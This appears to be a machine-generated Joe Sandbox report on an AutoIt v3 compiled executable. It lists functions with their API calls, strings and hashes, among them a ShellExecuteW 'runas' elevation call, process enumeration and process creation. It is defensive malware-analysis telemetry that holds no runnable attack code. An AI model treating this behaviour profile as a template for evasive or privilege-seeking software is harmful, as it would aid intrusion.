Function 00922BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 008E2B6B

Part of subcall function 008E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,009B1418,?,008E2E7F,?,?,?,00000000), ref: 008E3A78

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,009A2224), ref: 00922C10
ShellExecuteW.SHELL32(00000000,?,?,009A2224), ref: 00922C17

Strings

runas, xrefs: 00922C0B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 329981a3790880b04e82d4a8db4960e9712c9f78792887608d02ebdf2ed4f075
Instruction ID: d6d2c85ba532d3c0591ee8d83147d0cabd1a42942c63eadf50503f760bbb7c86
Opcode Fuzzy Hash: 329981a3790880b04e82d4a8db4960e9712c9f78792887608d02ebdf2ed4f075
Instruction Fuzzy Hash: 7811D231208381AAC714FF2AE8559AE77A9FBD3760F84042CF086931B2DF208A499753

Function 0094D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0094D501
Process32FirstW.KERNEL32(00000000,?), ref: 0094D50F
Process32NextW.KERNEL32(00000000,?), ref: 0094D52F
CloseHandle.KERNELBASE(00000000), ref: 0094D5DC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d4fddbb435ef6221d723832c5fb86e85b47e0cabfd0fd3c44fddc64c594efd68
Instruction ID: 2061983c3a9cb624577068aae2c3461ab83a0aa378723831d8c5fe8342693896
Opcode Fuzzy Hash: d4fddbb435ef6221d723832c5fb86e85b47e0cabfd0fd3c44fddc64c594efd68
Instruction Fuzzy Hash: FF317E721082409FD304EF54C881EAFBBE8FF9A354F54092DF585861A1EB71AA85CB93

Function 0094DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00925222), ref: 0094DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0094DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0094DBEE
FindClose.KERNEL32(00000000), ref: 0094DBFA

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: d1996a6f6cd9909c90a15a28f04fb7335d7b259b423898e3be31ef7f940fefd9
Instruction ID: ea371f120befd5f862a0426e6c7c35ae878b0ae6b200ab34c321be242d06b6e7
Opcode Fuzzy Hash: d1996a6f6cd9909c90a15a28f04fb7335d7b259b423898e3be31ef7f940fefd9
Instruction Fuzzy Hash: BCF023714295105782216FBCDC4DC6A376C9F02339B504716F479C10F0EBB09DD4D6D5

Function 00904CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(009128E9,?,00904CBE,009128E9,009A88B8,0000000C,00904E15,009128E9,00000002,00000000,?,009128E9), ref: 00904D09
TerminateProcess.KERNEL32(00000000,?,00904CBE,009128E9,009A88B8,0000000C,00904E15,009128E9,00000002,00000000,?,009128E9), ref: 00904D10
ExitProcess.KERNEL32 ref: 00904D22

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1e3a4b946854b8c4d32bdf3f1721564b4a9f6319003cf4110870d40b7ddc789c
Instruction ID: 0242f1fb78880037b9bf2c34a71b59d3646aa2489035ef3c32a521b98c184651
Opcode Fuzzy Hash: 1e3a4b946854b8c4d32bdf3f1721564b4a9f6319003cf4110870d40b7ddc789c
Instruction Fuzzy Hash: D3E0B6B2114248BFCF11AF54DD0AA583B6DEB81B85B108018FD099A1B2CB35ED82DB80

Function 0096AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0096B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0096B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0096B1D4
_wcslen.LIBCMT ref: 0096B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0096B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0096B236
_wcslen.LIBCMT ref: 0096B332

Part of subcall function 009505A7: GetStdHandle.KERNEL32(000000F6), ref: 009505C6

_wcslen.LIBCMT ref: 0096B34B
_wcslen.LIBCMT ref: 0096B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0096B3B6
GetLastError.KERNEL32(00000000), ref: 0096B407
CloseHandle.KERNEL32(?), ref: 0096B439
CloseHandle.KERNEL32(00000000), ref: 0096B44A
CloseHandle.KERNEL32(00000000), ref: 0096B45C
CloseHandle.KERNEL32(00000000), ref: 0096B46E
CloseHandle.KERNEL32(?), ref: 0096B4E3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 3b9234657d56165c9a357b9c4589b7a11987e8399b2a015d2927d0931b501e2c
Instruction ID: c1dd8dc48dca4213bd08d5eb01406b61a58214a16dc8d8ad9d2c7eeb2395b445
Opcode Fuzzy Hash: 3b9234657d56165c9a357b9c4589b7a11987e8399b2a015d2927d0931b501e2c
Instruction Fuzzy Hash: 54F18E716083409FC714EF29C891B2ABBE5FF85714F14855DF9998B2A2DB31DC84CB52

Function 008ED730 Relevance: 21.6, APIs: 14, Instructions: 618windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 008ED807
timeGetTime.WINMM ref: 008EDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008EDB28
TranslateMessage.USER32(?), ref: 008EDB7B
DispatchMessageW.USER32(?), ref: 008EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008EDB9F
Sleep.KERNELBASE(0000000A), ref: 008EDBB1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 7914b2b0bb9a3ad1173bac4c9e892c9953fc4e2abd9d4cf8513126227591a99a
Instruction ID: 606a4f97238b29dd2b4339b2846161f1523580555396fbf6b47f8476b19d9345
Opcode Fuzzy Hash: 7914b2b0bb9a3ad1173bac4c9e892c9953fc4e2abd9d4cf8513126227591a99a
Instruction Fuzzy Hash: 2542C070608385AFD728DF25C844B6ABBE4FF86314F14862DE595CB292D774E848DF82

Function 008E2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 008E2D07
RegisterClassExW.USER32(00000030), ref: 008E2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008E2D42
InitCommonControlsEx.COMCTL32(?), ref: 008E2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008E2D6F
LoadIconW.USER32(000000A9), ref: 008E2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008E2D94

Strings

+, xrefs: 008E2CF0
TaskbarCreated, xrefs: 008E2D37
AutoIt v3 GUI, xrefs: 008E2D23
0, xrefs: 008E2CE9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 84bd0ba942810d32877fe66d4df557deba8be7217076e6e9bb714000d892588b
Instruction ID: 942c88f49fb453c701acbbc8653048d6ad21f8bf8af2fc02d832067247881dd9
Opcode Fuzzy Hash: 84bd0ba942810d32877fe66d4df557deba8be7217076e6e9bb714000d892588b
Instruction Fuzzy Hash: C62124B2925348AFDB00DFA4ED59BDDBBB4FB08711F00821AF615A62A0D7B00584EF90

Function 0092065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092039A: CreateFileW.KERNELBASE(00000000,00000000,?,00920704,?,?,00000000,?,00920704,00000000,0000000C), ref: 009203B7

GetLastError.KERNEL32 ref: 0092076F
__dosmaperr.LIBCMT ref: 00920776
GetFileType.KERNELBASE(00000000), ref: 00920782
GetLastError.KERNEL32 ref: 0092078C
__dosmaperr.LIBCMT ref: 00920795
CloseHandle.KERNEL32(00000000), ref: 009207B5
CloseHandle.KERNEL32(?), ref: 009208FF
GetLastError.KERNEL32 ref: 00920931
__dosmaperr.LIBCMT ref: 00920938

Strings

H, xrefs: 009208BD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 3099861adfad2524f7d0324181fb61fc7d755f688709e6821afeb760b9572a5a
Instruction ID: d3af1514111fb37a028cea2d529a03655bb4e0ef0baac0ec9ad1ac26d435c06e
Opcode Fuzzy Hash: 3099861adfad2524f7d0324181fb61fc7d755f688709e6821afeb760b9572a5a
Instruction Fuzzy Hash: 7EA14632A141188FDF19EF68EC51BAE3BA4AB86320F14025DF8159B3D2D7319D53DB91

Function 008E344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,009B1418,?,008E2E7F,?,?,?,00000000), ref: 008E3A78

Part of subcall function 008E3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 008E3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 008E356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0092318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 009231CE
RegCloseKey.ADVAPI32(?), ref: 00923210
_wcslen.LIBCMT ref: 00923277
_wcslen.LIBCMT ref: 00923286

Strings

\, xrefs: 0092328C
\Include\, xrefs: 008E3527
Software\AutoIt v3\AutoIt, xrefs: 008E3560
Include, xrefs: 00923184, 009231C5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 82d1ca58a43f930d61b8bbd867251ce959d42fc1c641747c4d54766d67ae50bb
Instruction ID: 9f3d67021182b9fc4cf99519f472f2421a1779927b8b7a5d164beca65aa40188
Opcode Fuzzy Hash: 82d1ca58a43f930d61b8bbd867251ce959d42fc1c641747c4d54766d67ae50bb
Instruction Fuzzy Hash: 9071F3714183009FC314EF29ED8596BBBE8FF86B50F404A2EF555C71A0EB349A48CB62

Function 008E2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 008E2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 008E2B9D
LoadIconW.USER32(00000063), ref: 008E2BB3
LoadIconW.USER32(000000A4), ref: 008E2BC5
LoadIconW.USER32(000000A2), ref: 008E2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008E2BEF
RegisterClassExW.USER32(?), ref: 008E2C40

Part of subcall function 008E2CD4: GetSysColorBrush.USER32(0000000F), ref: 008E2D07
Part of subcall function 008E2CD4: RegisterClassExW.USER32(00000030), ref: 008E2D31
Part of subcall function 008E2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008E2D42
Part of subcall function 008E2CD4: InitCommonControlsEx.COMCTL32(?), ref: 008E2D5F
Part of subcall function 008E2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008E2D6F
Part of subcall function 008E2CD4: LoadIconW.USER32(000000A9), ref: 008E2D85
Part of subcall function 008E2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008E2D94

Strings

AutoIt v3, xrefs: 008E2C2F
#, xrefs: 008E2C16
0, xrefs: 008E2C0F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 02c18ddbf7a77d5e1e5a9b13ceaf9124a8c649b26283ab428a54dded4441d813
Instruction ID: 2091659c7797e0a9ca701049402cba64085626fc5782115fc8cf22f34a2e36a1
Opcode Fuzzy Hash: 02c18ddbf7a77d5e1e5a9b13ceaf9124a8c649b26283ab428a54dded4441d813
Instruction Fuzzy Hash: 632150B2E28354AFDB109FA5ED65B9D7FF4FB08B60F50011AF504A66A0E7B10540EF90

Function 008E3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,008E316A,?,?), ref: 008E31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,008E316A,?,?), ref: 008E3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 008E3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,008E316A,?,?), ref: 008E3232
CreatePopupMenu.USER32 ref: 008E3246
PostQuitMessage.USER32(00000000), ref: 008E3267

Strings

TaskbarCreated, xrefs: 008E322D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 573e11a9f7f5aa32e25c75c6100c9ca5b5dc522661394e14ca9bf42c5510c620
Instruction ID: 43001c6661ee0fb79b3c2dca610f06b8dac180e24d1d92eaf9c5af852f09858d
Opcode Fuzzy Hash: 573e11a9f7f5aa32e25c75c6100c9ca5b5dc522661394e14ca9bf42c5510c620
Instruction Fuzzy Hash: 78419C31228284B7DB291B39AE1DBB93659F747355F44022DF646C72A1DB70CE40A762

Function 008E1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 008E1459
CoUninitialize.COMBASE ref: 008E14F8
UnregisterHotKey.USER32(?), ref: 008E16DD
DestroyWindow.USER32(?), ref: 009224B9
FreeLibrary.KERNEL32(?), ref: 0092251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0092254B

Strings

close all, xrefs: 008E1454

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 399b3ae4159434c1601d6ac21bb6889b4e67af395304a2f554a33e3fbdb265e9
Instruction ID: 02013cef18a40acc03f4c57eaff4ee451065160091027f607a79571a06703b10
Opcode Fuzzy Hash: 399b3ae4159434c1601d6ac21bb6889b4e67af395304a2f554a33e3fbdb265e9
Instruction Fuzzy Hash: 50D1A071701262DFCB29EF15D899A29F7A4FF06700F1481ADE54AAB266CB30ED12CF51

Function 008E2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 008E2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 008E2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,008E1CAD,?), ref: 008E2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,008E1CAD,?), ref: 008E2CCF

Strings

AutoIt v3, xrefs: 008E2C89, 008E2C8E, 008E2C8F
edit, xrefs: 008E2CAC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 36115414f1aedd1dba3c5a2729b77aa5b5e4ebda1e4cbf6e0d7cd52b17d6dd7a
Instruction ID: 15c70c90bf6f24a7f16b94de93a170a7267747b000f2fc078c7a79d1d03c726c
Opcode Fuzzy Hash: 36115414f1aedd1dba3c5a2729b77aa5b5e4ebda1e4cbf6e0d7cd52b17d6dd7a
Instruction Fuzzy Hash: DFF03AB66642907AEB300723AC18E772EFDD7C6F60F54411EFA04A21A0E6610840EBB0

Function 008E3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,008E3B0F,SwapMouseButtons,00000004,?), ref: 008E3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,008E3B0F,SwapMouseButtons,00000004,?), ref: 008E3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,008E3B0F,SwapMouseButtons,00000004,?), ref: 008E3B83

Strings

Control Panel\Mouse, xrefs: 008E3B3E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 943029f5403c18c13af5867561068ab75728ff3def97446552416a243aa09068
Instruction ID: 138c870f523182f876e39726db9546ee4798ffce5e6e5abaad04edc34de04b8b
Opcode Fuzzy Hash: 943029f5403c18c13af5867561068ab75728ff3def97446552416a243aa09068
Instruction Fuzzy Hash: 7A112AB5620248FFDB208FA6DC48AAEB7B8FF86754B104559E806D7110D2319E40A7A0

Function 008E3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 009233A2

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 008E3A04

Strings

Line: , xrefs: 009233EB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

